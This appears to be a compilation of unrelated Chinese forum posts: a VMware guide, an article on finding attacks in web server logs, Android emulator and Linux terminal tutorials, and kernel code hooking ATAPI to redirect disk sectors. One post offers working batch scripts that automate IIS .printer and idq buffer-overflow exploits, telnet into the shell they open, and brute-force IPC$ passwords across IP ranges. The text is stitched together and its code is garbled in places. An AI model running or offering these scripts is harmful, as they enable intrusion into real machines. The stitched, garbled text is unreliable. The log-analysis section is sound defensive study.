本帖最后由 hcl 于 2011-8-5 15:04 编辑
首先下载最新版的vmware,解压缩安装
推荐:超时空传送
选择新建虚拟机,标准模式下单击下一步,选择第三项创建空白磁盘
之后就可以选择你需要的操作系统了,因为我的机器是win7的,这里就以xp为例吧。
然后就可以编辑虚拟机名称,安装位置和虚拟磁盘的大小,我就少折腾点,以默认为例,看图
点击下一步之后确定来到主界面,见图
在这个界面下点击编辑虚拟机设置,选中cd/dvd哪一行,在右边选中使用iso镜像文件,选择下载好的xp镜像文件路径就ok了!,还是见图.
来到主界面点击打开该虚拟机电源,至此,你已经成功99.9%了!
按B键来到winpe
其实在这之前可以先安装vm tools,不过现在也不迟,安装它的目的是为了在虚拟机和你的pc之间让鼠标实现无缝切换,告别快捷键
之后就简单多了,先对硬盘分区,然后选择恢复iso到c盘,依然看图
之后等待安装
终于安装完成啦
完成后点击下方的我已完成安装,再点击上方的全屏图标
ok!!调一下分辨率,再上一下网,全都没问题,恭喜你已经学会安装虚拟机了!
到这就全部大功告成了
现今的网络,安全越来越受到大家的重视,在构建网络 安全环境时,在技术手段,管理制度等方面都逐步加强,设置防火墙,安装入侵检测系统等等。但网络安全是个全方位的问题,忽略哪一点都会造成木桶效应,使得 整个安全系统虚设。本文从分析Web服务器的logging记录来找出漏洞,防范攻击,从而加强Web服务器安全。
Web服务是 Internet所提供最多,最丰富的服务,各种Web服务器自然也是受到攻击最多的,我们采用了很多措施来防止遭受攻击和入侵,其中查看Web服务器的 记录是最直接,最常用,又比较有效的一种方法,但logging记录很庞大,查看logging记录是很繁琐的事情,如果抓不住重点,攻击线索就容易被忽 略。下面就对最流行的两类Web服务器:Apache和IIS做攻击的实验,然后在众多的记录中查到攻击的蛛丝马迹,从而采取适当的措施加强防范。
1.默认的web记录
对 于IIS,其默认记录存放在c:\\winnt\\system32\\logfiles\\w3svc1,文件名就是当天的日期,记录格式是标准的 W3C扩展记录格式,可以被各种记录分析工具解析,默认的格式包括时间、访问者IP地址、访问的方法(GET or POST…)、请求的资源、HTTP状态(用数字表示)等。对于其中的HTTP状态,我们知道200-299表明访问成功;300-399表明需要客户端 反应来满足请求;400-499和500-599表明客户端和服务器出错;其中常用的如404表示资源没找到,403表示访问被禁止。
Apache的默认记录存放在/usr/local/apache/logs,其中最有用的记录文件是access_log,其格式包括客户端IP、个人标示(一般为空)、用户名(如果需要认证)、访问方式(GET or POST…)、HTTP状态、传输的字节数等。
2.收集信息
我们模拟黑客攻击服务器的通常模式,先是收集信息,然后通过远程命令一步步实施入侵。我们使用的工具是netcat1.1 for windows,Web服务器ip为10.22.1.100,客户端IP为:10.22.1.80。
C:>nc -n 10.22.1.100 80 HEAD / HTTP/1.0 HTTP/1.1 200 OK Server: Microsoft-IIS/4.0 Date: Sun, 08 Oct 2002 14:31:00 GMT Content-Type: text/html Set-Cookie: ASPSESSIONIDGQQQQQPA=IHOJAGJDECOLLGIBNKMCEEED; path=/ Cache-control: private 在IIS和Apache的log里显示如下: IIS: 15:08:44 10.22.1.80 HEAD /Default.asp 200 Linux: 10.22.1.80- - [08/Oct/2002:15:56:39 -0700] \"HEAD / HTTP/1.0\" 200 0
以上的活动看上去很正常,也不会对服务器产生任何影响,但这是通常攻击的前奏。
3. Web站点镜像
黑客经常镜像一个站点来帮助攻击服务器,常用来镜像的工具有Windows下的Teleport pro和Unix下的Wget。
下面我们看使用这两个工具后在服务器记录里的信息:
16:28:52 10.22.1.80 GET /Default.asp 200 16:28:52 10.22.1.80 GET /robots.txt 404 16:28:52 10.22.1.80 GET /header_protecting_your_privacy.gif 200 16:28:52 10.22.1.80 GET /header_fec_reqs.gif 200 16:28:55 10.22.1.80 GET /photo_contribs_sidebar.jpg 200 16:28:55 10.22.1.80 GET /g2klogo_white_bgd.gif 200 16:28:55 10.22.1.80 GET /header_contribute_on_line.gif 200 16:49:01 10.22.1.81 GET /Default.asp 200 16:49:01 10.22.1.81 GET /robots.txt 404 16:49:01 10.22.1.81 GET /header_contribute_on_line.gif 200 16:49:01 10.22.1.81 GET /g2klogo_white_bgd.gif 200 16:49:01 10.22.1.81 GET /photo_contribs_sidebar.jpg 200 16:49:01 10.22.1.81 GET /header_fec_reqs.gif 200 16:49:01 10.22.1.81 GET /header_protecting_your_privacy.gif 200
10.22.1.80 是使用Wget的Unix客户端,10.22.1.81是使用Teleport pro的Windows客户端,都请求robots.txt文件,Robots.txt是请求没有被镜像的文件时所要用到的。所以看到有对 robots.txt文件的请求,表明有镜像的企图。当然,在Wget和Teleport pro客户端,可以手工禁止对robots.txt文件的访问,这时,辨别方法可以看是否有从同一IP地址来的重复资源请求。
4.漏洞扫描
随着攻击的发展,我们可以用一些Web漏洞检查的软件,如Whisker,它可以检查已知晓的各种漏洞,如cgi程序导致的安全隐患等。下面是运行Whisker1.4的IIS和Apache的相关记录:
IIS
12:07:56 10.22.1.81 GET /SiteServer/Publishing/viewcode.asp 404
12:07:56 10.22.1.81 GET /msadc/samples/adctest.asp 200
12:07:56 10.22.1.81 GET /advworks/equipment/catalog_type.asp 404
12:07:56 10.22.1.81 GET /iisadmpwd/aexp4b.htr 200
12:07:56 10.22.1.81 HEAD /scripts/samples/details.idc 200
12:07:56 10.22.1.81 GET /scripts/samples/details.idc 200
12:07:56 10.22.1.81 HEAD /scripts/samples/ctguestb.idc 200
12:07:56 10.22.1.81 GET /scripts/samples/ctguestb.idc 200
12:07:56 10.22.1.81 HEAD /scripts/tools/newdsn.exe 404
12:07:56 10.22.1.81 HEAD /msadc/msadcs.dll 200
12:07:56 10.22.1.81 GET /scripts/iisadmin/bdir.htr 200
12:07:56 10.22.1.81 HEAD /carbo.dll 404
12:07:56 10.22.1.81 HEAD /scripts/proxy/ 403
12:07:56 10.22.1.81 HEAD /scripts/proxy/w3proxy.dll 500
12:07:56 10.22.1.81 GET /scripts/proxy/w3proxy.dll 500
Apache
10.22.1.80-[08/Oct/2002:12:57:28 -0700] \"GET /cfcache.map HTTP/1.0\" 404 266
10.22.1.80-[08/Oct/2002:12:57:28 -0700] \"GET /cfide/Administrator/startstop.html HTTP/1.0\" 404 289
10.22.1.80-[08/Oct/2002:12:57:28 -0700] \"GET /cfappman/index.cfm HTTP/1.0\" 404 273
10.22.1.80-[08/Oct/2002:12:57:28 -0700] \"GET /cgi-bin/ HTTP/1.0\" 403 267
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"GET /cgi-bin/dbmlparser.exe HTTP/1.0\" 404 277
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"HEAD /_vti_inf.html HTTP/1.0\" 404 0
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"HEAD /_vti_pvt/ HTTP/1.0\" 404 0
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"HEAD /cgi-bin/webdist.cgi HTTP/1.0\" 404 0
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"HEAD /cgi-bin/handler HTTP/1.0\" 404 0
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"HEAD /cgi-bin/wrap HTTP/1.0\" 404 0
10.22.1.80-[08/Oct/2002:12:57:29 -0700] \"HEAD /cgi-bin/pfdisplay.cgi HTTP/1.0\" 404
检查这种攻击的关键是看同一IP地址对cgi目录(IIS是scripts,Apache是cgi-bin)文件请求出现多个404状态。这时就要检查相应cgi目录里的程序安全性。
5.远程攻击
下面我们以针对IIS的MDAC攻击为例,来了解远程攻击在log里的记录情况。MDAC漏洞使得攻击者可以在Web服务器端执行任何命令。
17:48:49 10.22.1.80 GET /msadc/msadcs.dll 200
17:48:51 10.22.1.80 POST /msadc/msadcs.dll 200
当攻击发生后,在log会留下对msadcs.dll请求的记录。
另一个有名的攻击是asp源代码泄漏的漏洞,当这种攻击发生时,log文件会有如下记录:
17:50:13 10.22.1.81 GET /default.asp+.htr 200
对于未授权访问的攻击记录,Apache log会显示:
[08/Oct/2002:18:58:29 -0700] \"GET /private/ HTTP/1.0\" 401 462
6.总结
管理一个安全站点要求系统管理人员具备安全的常识和警惕性,从不同的渠道了解安全的知识不仅能对付已发生的攻击,还能对将会发生的攻击做到较好的防范。而通过Log文件来了解、防范攻击是很重要但又经常容易忽略的手段。
IDS(入侵检测系统)能帮助你很多,但不能完全代替安全管理。仔细检查Log,IDS所遗漏的东西,就可能在这里发现。
本帖最后由 hcl 于 2011-12-24 12:48 编辑
实际上就是黑客学习的资料了
注意切不可用于违法犯罪活动,使用该工具的后果由使用者承担,本人概不负责
请注意:黑客工具请在虚拟机环境下运行!切记!
不知道如何用虚拟机的戳这里
本帖最后由 hcl 于 2011-8-3 11:41 编辑
完整案例例一
这个例子是利用iis5hack.exe对有.printer漏洞的主机进行溢出的批处理。用到的程序有iis5hack.exe和系统自带的telnet.exe。iis5hack的命令格式为:iis5hack <目标ip> <目标端口><目标版本> <溢出连接端口>目标版本为0-9这10个数字分别对应不同语言版本和sp的系统版本,我们编制的批处理使用的命令格式为 :<iis.bat 目标ip (开始版本号)>开始版本号可有可无。程序如下@echo off /*关闭命令回显if"%1%"=="" goto help /*判断%1是否为空,%1为目标ipif"%2%"=="1" goto 1 /*判断%2是否为1,为1则跳转标志1if"%2%"=="2" goto 2 /*%2为开始版本号,如果没有设置则if"%2%"=="3" goto 3 /*如果存在则从匹配的地方开始执行if"%2%"=="4" goto 4if"%2%"=="5" goto 5if"%2%"=="6" goto 6if"%2%"=="7" goto 7if"%2%"=="8" goto 8if not EXISTiis5hack.exe goto file/*没有发现iis5hack.exe就执行标志file段内容ping %1 -n 1 |find "Received = 1"/*ping目标1次,从结果中发现Received = 1if errorlevel 1goto error/*如果返回代码为1则执行error段(代码1为没有发现 0为发现并成功执行)iis5hack %1 80 988 | find "good"/*开始溢出目标端口80 系统代码9 溢出后连接端口88 在执行结果中发现字符串”good”(溢出成功后才会有字符串good)if not errorlevel1 goto telnet/*如果没有错误代码1(溢出成功)就执行telnet段的内容。echo 操作系统类型 9 失败! /否则显示这一句:8 /*以下代码内容参照上面iis5hack %1 80 888 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 8 失败!:7iis5hack %1 80 788 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 7 失败!:6iis5hack %1 80 688 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 6 失败!:5iis5hack %1 80 588 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 5 失败!:4iis5hack %1 80 488 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 4 失败!:3iis5hack %1 80 388 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 3 失败!:2iis5hack %1 80 288 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 2 失败!:1iis5hack %1 80 188 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 1 失败!:0iis5hack %1 80 088 | find "good"if not errorlevel1 goto telnetecho 操作系统类型 0 失败!goto error:telnettelnet %1 88 /*开始连接目标ip的88端口goto exit /*连接中断后跳转exit段:error /*error段显示错误后的帮助信息echo 可能网络不能连接或者对方以修补该漏洞!请按照下面的格式手工尝试一次!echo iis5hack [目标IP] [WEB端口] [系统类型] [开放端口]ECHO 中文: 0ECHO 中文+sp1: 1ECHO 英文: 2ECHO 英文+sp1: 3ECHO 日语: 4ECHO 日语+sp1: 5ECHO 韩文: 6ECHO 韩文+sp1: 7ECHO 墨西哥语: 8ECHO 墨西哥语+sp1: 9goto exit /*跳转exit段:file /*file段显示文件没有发现的信息echo 文件iis5hack.exe没有发现!程序终止运行!goto exit /*跳转exit段:help /*help段显示本批处理的使用格式帮助echo 本程序用法如下:echo iis [目标ip]echo iis [目标ip] [开始的号码9-0]:exit /*exit段为程序出口这个批处理基本没有什么循环只是一路走下来。所以代码比较长难度不大!例二这个例子是用iisidq.exe对有idq漏洞的机器进行溢出的批处理。使用的程序有iisidq.exe和系统自带的程序telnet.exe。iisidq.exe的用法如下:运行参数: 操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>其中,如果输入命令参数没有输入,那么,默认为:"cmd.exe"。其中操作系统类型类型的代码范围是0-14。我们编制的批处理使用的命令格式为 <idq.bat 目标ip>程序如下:@echo off /*同例一if not EXISTiisidq.exe goto file /*同例一if %1 =="" goto error /*同例一ping %1 -n 1 |find "Received = 1" /*同例一if errorlevel 1goto error1 /*同例一set b=%1/*创建一个环境变量b,将变量%1的内容传递给环境变量b。变量b的内容以后将是目标ipset a=0/*创建一个环境变量a并指定环境变量a为0。由于使用整个批处理的循环所以用a来做计数器。:no /*no段开始if %a%==0 set d=0/*如果环境变量a=0则创建环境变量d设定环境变量d=0。if %a%==1 set d=1/*环境变量d其实是操作系统类型代码,用计数器来控制其变动if %a%==2 set d=2if %a%==3 set d=3if %a%==4 set d=4if %a%==5 set d=5if %a%==6 set d=6if %a%==7 set d=7if %a%==9 set d=9if %a%==10 setd=13if %a%==11 setd=14goto 0 /*变量传递完成后转到标志0处运行:1echo 正在执行第%d%项!与目标%b%不能连接!正在尝试连接请等候......:0 /*标志0开始IISIDQ %d% %b% 801 99 |find "good"/*按格式发送溢出命令并在结果中发现字符串good(发送代码成功才会有字符串good)if errorlevel 1goto 1/*如果没有good字符串则没有发送成跳转标志1处继续尝试发送ping 127.0.0.1 -n8 >nul/*ping自己8次相当于延时8秒不显示执行结果echo 正在执行第%d%项!/*报告正在溢出的操作系统类型telnet %b% 99 /*连接溢出端口echo. /*显示一个空行if %d%==14 gotoerror1/*如果操作系统类型为14则跳转error1处(循环出口)if %d%==13 seta=11 /*开始用计数器对操作系统代码重新附值if %d%==9 set a=10if %d%==7 set a=9if %d%==6 set a=7if %d%==5 set a=6if %d%==4 set a=5if %d%==3 set a=4if %d%==2 set a=3if %d%==1 set a=2if %d%==0 set a=1goto no /*附值完成跳转no段执行:file /*以下都是出错后的帮助提示echo IIsidq.exe没有发现!将该文件和本文件放在同一目录!goto exit:errorecho 错误!目标ip不可识别!请使用下面的格式连接!echo idq [目标IP]goto exit:error1echo 连接没有成功!可能目标机器已经修补了该漏洞或者网络故障所至!echo 请按照下面的格式手工尝试!echo iisidq [目标类型] [目标IP] [目标端口] [连接方式] [溢出端口]echo telnet [目标ip] [溢出端口]:exit /*整个程序的出口这个批处理采用的整体循环掌握好计数器部分就掌握了这个批处理。例三for /l %%a in(0,1,255) dofor /l %%b in(0,1,255) dofor /l %%c in(1,1,254) dofor /f"tokens=1,2*" %%e in (userpass.txt) donet use\\%1.%%a.%%b.%%c\ipc$ %%e /u:%%f上面的命令为1条命令。大家可以看出该命令使用了4个FOR来套用的。用法为:C:\>TEST.BAT218 当输入218回车后该命令会由第1个for取初始值0为%%a然后继续取第2个for的初始值0为%%b继续取第3个for的初始值1为%%c最后一个for是将userpass.txt中的第一段字符作为密码%%e第二段字符作为用户名%%f最后执行命令 (这里我把上面的值都带进去,设密码为123 用户名为 abc)net usr\\218.0.0.1\ipc$ 123 /u:abc当然上面这个例子可能有些朋友会说太简单并且太死板不灵活。我把这个例子做了些修改(完整文件见光盘ipc.bat)由兴趣的朋友可以自己看看。修改后的程序可以灵活的查找你指定开始到结束或你指定开始到最大ip的范围。当然功能还可以在加强,至于能加强到什么地步能不能成为一个新的工具那就是你的事了。这个的循环动作大了点主要是ip的数字替换麻烦所以没办法。这个批处理我就不写注释了,大家好好的参考上面的内容你会很快看懂这个批处理的。看懂了得不要说简单哦!最起码这是个没有使用任何第三方工具就能探测并保存弱口令的批处理了!!简单的改一改杀伤力还是很大的。以上这些批处理全部在win2000和xp下测试通过最大的优点就是只有一个批处理文件并且绝对不会误报。缺点就是太长!
本帖最后由 hcl 于 2012-8-5 20:18 编辑
春节期间,Google偷偷地召开了Google Android Event大会,会上发布了Android 3(代号Honeycomb,蜂巢),还进行了相关的演示,搞得不少朋友眼红不已。
目前,虽然市面上还没有相关的产品,但有不少朋友已经在磨刀霍霍了,Jackeroo也想败一款,可想想MOTO-XOOM的7000多元的价格,还是观望更好。不过,这并不意味着我们就不能先试试,Google迫不及待发布的Android SDK 3.0给了我们抢先试玩的可能:在PC上虚拟一个Android 3.0系统——即使没钱买Honeycomb,也可以玩玩!
巧妇不为无米之催,做好准备
要想在PC上玩Android 3,我们首先必须做好三件事。
●安装Java运行环境
前段时间,Oracle曾经状告Google的Android系统侵犯了他们的Java七项专利,官司最后虽然貌似不了了之,但Android基于Java这是不争的事实。所以,要用Android SDK虚拟一台Android设备,必须先装上Java运行环境这就是理所当然的了。
安装操作很简单,访问http://www.java.com/zh_CN/网站,点击网页中间大大的“免费Java下载”按钮,跟着向导操作就是。
●下载Android SDK需要提醒大家注意的是,Android的开发网页http://developer.android.com/sdk,在国内无法访问。不能正常访问的朋友,可以参考以下网址下载:
Android 3 SDK:网盘 http://dl.dbank.com/c0umck68ac| 官方下载http://dl.google.com/android/android-sdk_r10-windows.zip
下载下来之后,把压缩包解压到任何位置待用。
●安装SDK包我们下载回来的Android SDK只是一个管理工具,要想实现模拟Android设备功能,还必须把相应的平台SDK包装上。
Step 01 打开SDK管理包
打开刚才android-sdk_r09-windows.zip解压缩目录下的SDK Manager.exe,此时会弹出一个“Choose Packages to Install”窗口,让你选择SDK平台安装包。
Step 02 选择安装
在SDK Manager中,我们可以看到目前可以选择的有SDK Platform有Android 1.5、Android 1.6、Android 2.1、Android 2.2、Android 2.3和Android 3.0。
我们要试玩的是Android 3 Honeycomb,所以只需要在含有Android 3.0字样的前面打上选钩即可(当然,如果你想试试Android 2.2、Android 2.3,也可以选上)。我选择了两个,那就是:
Android SDK Platform-tools, revision 3
SDK Platform Android 3.0, API 11,revision 1
然后按下“Installed Selected”按钮,并在接下来的窗口中勾选“Accept All”开始下载、安装Android系统。
注意:默认是选中了所有SDK平台,这样安装要花费很长的时间,所以最好根据自己的需求进行选择。而要想去掉某个平台的下载、安装,只需要双击改行,将前面的“√”变为“×”即可虚拟一台Android 3平板玩玩淋淋洒洒写了这么多,终于帮助你忙完了准备作业。现在,我们再去虚拟一台Android 3平板,装起来看看效果如何。Step 01 设置Android 3虚拟机还是在那个SDK Manager的主界面,点击左侧的“Virtual Devices”选项卡,再点击“New”打开新建窗口。在“Create new Android Virtual Device(AVD)”窗口中,先在“Name”处为它起个名,比如“MOTO-XOOM”(摩托罗拉出品的最新Android平板电脑)。至于配置,当然也要尽量符合它的规格。Target:Android 3.0 – API Level 11SD Card:1024MBSkin Build-in:Default(WXGA)Step 02 启动Android 3虚拟机设置完毕后,点击“Create AVD”创建一部Android 3平板电脑,并返回到“Android SDK and AVD Manager”主界面。不要犹豫了!在“Virtual Devices”选项卡下,选中刚才新建的机器——MOTO-XOOM,按下右边的“Start”,并在新弹出的窗口中点击“Start”按钮启动它吧!第一次启动花费的时间比较长,请耐心等待!Android 3的界面与Android 2.x相比,区别比较大,左下角、右下角、右上角都有控制按钮,大家可以点击一下试试分别代表什么功能,我这里就不详细介绍了。
三个应用小技巧有的朋友可能觉得默认的MOTO-XOOM用起来确实不舒服,尤其是在PC上的模拟器中试玩。那是因为你没有经过个性化定制,用完下面三招,保管你对它印象大变!Tips 01 中文显示哪里设置?虚拟的Android 3设备,默认显示的是英文界面。如果你觉得英文不是很友好,也可以在“Apps”→“Settings”→“Language & Input”→“Select Language”那里,选择界面为“中文(简体)”。Tip 02 横屏、竖屏如何切换?有的朋友那里,这个虚拟的Android 3平板,默认显示的是横屏,但是字体却是竖着的,要想看清楚,必须歪着脖子!不要郁闷,先按下Ctrl+F11试试。不行再进行以下操作:在“Apps(应用程序)”→“Settings(设置)”→“Screen(屏幕)”位置,去掉“Auto-rotate screen(自动旋转屏幕)”的勾选。Tip 03 尺寸太大如何调整?如果你觉得默认的1280×800分辨率窗口太大,想设置小点,也很简单:可以在SDK Manager启动虚拟机的时候,按下第二个“Start”之前,设置“Screen Size”为10比较好——貌似新出的Android 3平板都是10.1英寸的。想简单试试Android 3的风采,又不愿意下载、安装设置Android SDK的朋友,可以到PrisMapixel网站(http://prismapixel.com/hive/)看看,哪里有个简单的交互式演示,模拟效果还算不错。
无论你是一个新的Linux用户还是你已经接触过一段时间的Linux。我们都会在这里帮助你开始使用Linux终端。终端并不是洪水猛兽——而是一个具有很多用处的强有力的工具。
当然,你不可能仅仅通过这一篇简单的文章就学会了你操作终端所需要的所有知识。你需要自己亲身去体验。我们希望这篇说明能帮助你入门并以此学习更多。
一、基础使用
当你从桌面的应用程序菜单开启一个终端后,你就能看到BashShell了。当然,除此之外还有其他的Shell,但是大多数Linux发行版都默认采用Bash。
你可以直接在命令行里键入程序的名字来运行程序。所有你在这里所运行的——无论是类似于Firefox的图形界面应用程序还是命令行组——我们都称为程序。(Bash自然包括一些内置的命令以用于基本地文件管理,当然这些功能也和程序类似。)这里不像Windows中你需要键入程序的完整的路径才能运行。例如,比如说你想打开Firefox刷个微博,在Windows中你需要输入Firefox.exe的完整路径,但在Linux里,你只需输入:
[mw_shl_code=bash,true]firefox[/mw_shl_code]
键入你所要运行的命令然后按下回车。注意不要加上“.exe“等诸如此类的东西——Linux上的程序没有扩展名。
终端命令允许参数。参数的形式取决于程序本身。例如,Firefox允许网址作为参数。要用Firefox打开技术宅,你可以这么输入命令:
[mw_shl_code=bash,true]firefox www.gn00.com[/mw_shl_code]
其他的终端命令就跟Firefox的类似,只不过有许多的命令在运行时并不会出现图形窗口,而仅仅是在终端中运行。
二、安装软件
使用终端最能提高效率的事情之一就是安装软件,一些类似于Ubuntu软件中心的软件管理应用程序只是一个精心设计的前端,实际上后台运行的只是一些终端命令。不像原来你需要点来点去一个一个的去选择应用,你可以直接用终端命令去安装它们。甚至可以用一条命令来同时安装几个应用。
以ubuntu为例(其他的Linux发行版有自己独特的软件包管理系统),安装新软件包的命令是:
[mw_shl_code=bash,true]sudo apt-get install packagename[/mw_shl_code]
可能这看起来有点复杂,但就和上面运行Firefox的命令一样。首先执行sudo命令,这会要求你在使用root用户(超级管理员用户)来运行apt-get命令之前输入当前用户的密码。apt-get命令会读取参数“install packagename”,并且安装名为packagename的包。
同时,你也可以指定安装多个软件包作为参数。例如,你要安装Chromium和Pidgin(一款即时通讯软件),你就可以执行下面的命令:
[mw_shl_code=bash,true]sudo apt-get install chromium-browser pidgin[/mw_shl_code]
如果你已经安装了Ubuntu而且想安装自己喜欢软件,你就可以按照上面说的方法来安装。你只是需要知道所要安装地软件包的名称,有的时候你甚至可以简单地猜出来。你也可以直接用下面将要提到的Tab技巧来完善你的猜测。
更多的深度讲解,请参阅:如何在Ubuntu上通过命令行来安装程序 (英文)
三、文件夹和文件操作
注:linux操作系统对大小写敏感,请注意文件以及文件夹名称的大小写!
除非你指定另一个目录,否则shell将会以你目前所处的目录作为工作目录。例如,Nano是一个易用的终端文本编辑器。命令nano document1将会启动Nano并且从当前文件夹里打开名为document1的文件。如果你想打开一个别的文件夹的文件,你就必须指定其路径——例如,nano /home/XXX/Documents/document1 。
如果你指定了一个并不存在那个文件的路径,nano(或者是大多数程序)就会在那个路径下创建一个新的空白文件。
文件和文件夹的基本操作,需要下面的基本命令:
cd
那个提示符的左边的~代表当前用户的主目录(即/home/yourusername),这也是终端的默认目录,要想切换到其他目录,就可以使用cd命令。例如“cd / ”就会切换到根目录,“cd Downloads”就会进入当前目录下的“Downloads”目录(当你在你的主目录下的时候只会进入你的Downloads目录),“cd /home/yourusername/Downloads” 则会从任意一个位置进入你的home下的Downloads目录,“cd ~”会切换到你的主目录,而“cd..”则会返回上一级目录。
ls
ls命令的作用是列出当前目录的文件。
mkdir
mkdir命令可以新建文件夹,例如mkdir example 意为创建一个新的名为example的文件夹。而mkdir /home/you/Downloads/test则会在当前用户的主目录的下载目录里创建一个名为test的文件夹。
rm
rm命令的作用是删除文件。例如,rmexample就可以删除当前目录下名为example的文件。而同样rm/home/you/Downloads/example将会删除/home/you/Downloads/目录下的example文件。
cp
cp即复制命令,可以把文件从一个地方复制到另一个地方。例如cp example /home/you/Downloads就可以把当前目录下的example文件复制到/home/you/Downloads下。
mvmv的作用是剪切,可以把一个文件移动到另一个地方。其命令格式与cp命令类似,只不过会删除源文件。mv的另一个重要作用就是重命名。例如mv original renamed,意思是把当前目录下的original文件移动到当前目录下的renamed处,当然就是重命名了。
上面这些东西一开始看起来可能会很难,但这却是使用终端提高文件管理效率的基础。在你的系统中穿梭用cd,查看文件列表用ls,创建要用mkdir,管理文件有mv、rm和cp!
四、Tab自动补完
使用Tab自动补完是一个十分实用的技巧。当你输入的时候——一条命令、文件名抑或是其他类型的参数——你可以直接按Tab来自动补完。例如,你在终端中输入firef,再按下Tab,就会自动出现firefox。这会帮助你节省大量的时间,你只需要按下Tab,终端就会帮你完成拼写。这个技巧同样适用于文件文件夹还有软件包。例如你键入sudoapt-get install pidg,再按下Tab,就会自动补成pidgin。
在很多情况下,shell将不会知道你想要输入的东西,因为目录里面可能有多个符合条件的项目。再一次按下Tab之后会显示出所有可能的项目,键入几个字母再按Tab就可以了。
更多像这样的技巧,请参阅:8个技巧让你成为Linux终端达人(英文)。
五、掌握终端
此时此刻,我想你已经对终端感到不那么生疏了,并且对终端的操作有了一定的了解。想了解更多有关终端的姿势?或是完全掌握它?就从下面的文章开始你的旅程吧。
【已翻译】
【未翻译】
原文地址:http://www.howtogeek.com/140679/beginner-geek-how-to-start-using-the-linux-terminal/
原文作者:Chris Hoffman
翻译作者:hcl@TechOtaku
部分图片已进行本地化!
该贴已经同步到 hcl的微博
本帖最后由 羽化_为蝶 于 2013-3-15 00:16 编辑
本文主要描述使用 ATAPI 的 IRP HOOK 实现扇区重定向。ATAPI 层是
Windows 系统中存储系统 IRP 的终结点,ATAPI以下就已经不是使用 IRP 来读写了,所以 ATAPI是拦截磁盘 IRP 操作的最后一站。拦截磁盘实现重定向主要有两种方法,一种就是最普遍的IRP 分发例程 HOOK,另外一种是 DISK 设备扩展中的设备对象劫持。本文主要讨论第一种方 法,对第二种方法也会进行一些简要描述。
IRP 分发例程的 HOOK,只要 熟悉驱动编程的都知道,每个驱动对象中都保存有一组处理 IRP 的分发函数指针,替换这里 的指针即可简单地接管 IRP。对于本文要实现的扇区重定位来说,只需要检测 IRP 中目的 LBA 地址是否包含要被重定向的地址,如果包含则进行一些替换操作即可。为了实现上述目的,需要如下步骤:
1) 获取 ATAPI 驱动对象,这样才能替换驱动对象中的分发函数指针;2) 确定过滤的 IRP 函数是哪个;3) 确定需要过滤的设备对象是哪个,注意,ATAPI 会生成多个设备对象,需要判断目 标到底是哪个;4) IRP的解包以及重组。通常的驱动读写都是 IRP_MJ_READ 和 IRP_MJ_WRITE,但 ATAPI 比较特殊,实现写使用的 是 IRP_INTERNAL_DEVICE_CONTROL , 这个 很像 TDI 层 的驱 动, 也 是 使 用
IRP_INTERNAL_DEVICE_CONTROL 实现数据收发的。知道了这一点可以解决第二个问题,真正的读写操作使用 SRB指令来实现,数据结构为 SCSI_REQUEST_BLOCK(在 srb.h文件中定义)。 关于 SCSI_REQUEST_BLOCK 指令的填写和解析操作,可以参考《ATAPI 实现扇区读写》这篇 文章,所以第四个问题得以解决。获 取 ATAPI 驱动 对象可以使 用 ObReferenceObjectByName 函 数,传 递驱动 的名字 L\\Driver\\ATAPI 进去后可以获取到,从而解决第一个问题。对于第三个问题,虽然ATAPI 驱动会生成多个设备对象,但是真正处理读写操作的设备对象的类型是 FILE_DEVICE_DISK, 这种类型的设备对象就是我们需要的了。明白了以上几点,实现代码就比较容易了,我们来 看实现的代码。
NTSTATUSHookAtapiTest(BOOLEAN Hook){NTSTATUS Status = STATUS_INFO_LENGTH_MISMATCH; PDRIVER_OBJECTlpDriverObj = NULL;// if (IsWin8())// {// Status = OpenDriverObject(L"\\Driver\\storahci",&lpDriverObj);// }// else// {// }Status = OpenDriverObject(L"\\Driver\\ATAPI",&lpDriverObj);if (NT_SUCCESS(Status)){if (Hook){g_Dispatch =(PDRIVER_DISPATCH)InterlockedExchange((LONG*)&lpDriverObj->MajorFunction[IRP_MJ_SCSI],(LONG)Detour_DeviceInternalControl);}else{h);InterlockedExchange((LONG*)&lpDriverObj->MajorFunction[IRP_MJ_SCSI,(LONG)g_Dispatc} ObDereferenceObject(lpDriverObj);return STATUS_SUCCESS ;}return STATUS_UNEXPECTED_IO_ERROR;}从这里我注释的那几行代码可以知道,处理 SRB 的驱动到了 Windows8 下发生了变化, 不再是\\Driver\\ATAPI,使用 DeviceTree 看一下就可以知道,分发函数不处于只读内存,可 以直接修改,不需要关保护或者进行其他同步措施。挂钩的实现异常简单,关键是重定向部分,我们继续往下走。根据《ATAPI 实现扇区读 写》一文,读写磁盘在 WindowsXP 和 Windows7 甚至 Windows8 下都使用了相同的长度是
10 的这种 CDB(cdb 的定义见 wdk 的scsi.h 头文件)。struct _CDB10 {UCHAR OperationCode; UCHAR RelativeAddress :1; UCHAR Reserved1 : 2; UCHAR ForceUnitAccess: 1; UCHAR DisablePageOut: 1;UCHAR LogicalUnitNumber : 3; UCHAR LogicalBlockByte0; UCHAR LogicalBlockByte1; UCHAR LogicalBlockByte2; UCHAR LogicalBlockByte3; UCHAR Reserved2;UCHAR TransferBlocksMsb; UCHAR TransferBlocksLsb;UCHAR Control;}CDB10;写操作的第一个字段是SCSIOP_WRITE,读的时候是SCSIOP_READ,其中红色的部分是我们需要特别关注的。LogicalBlockByte3到LogicalBlockByte0分别是长度是ULONG的LBA块地址 的(扇区号)的低字节到高字节(和Windows内存存放顺序相反),TransferBlocksMsb是要 操作扇区的数目的高字节,TransferBlocksLsb是要操作扇区的数目的低字节,例如把0号扇区
重定向到10号扇区,只需要把LogicalBlockByte3设置到10就可以了。在实际中通常会遇到两种情况,第一种是只读取一个扇区,并且就是我们要重定向的扇区,这种情况很好处理,只需要直接替换扇区号码就可以了;第二种情况是一次读取多个扇
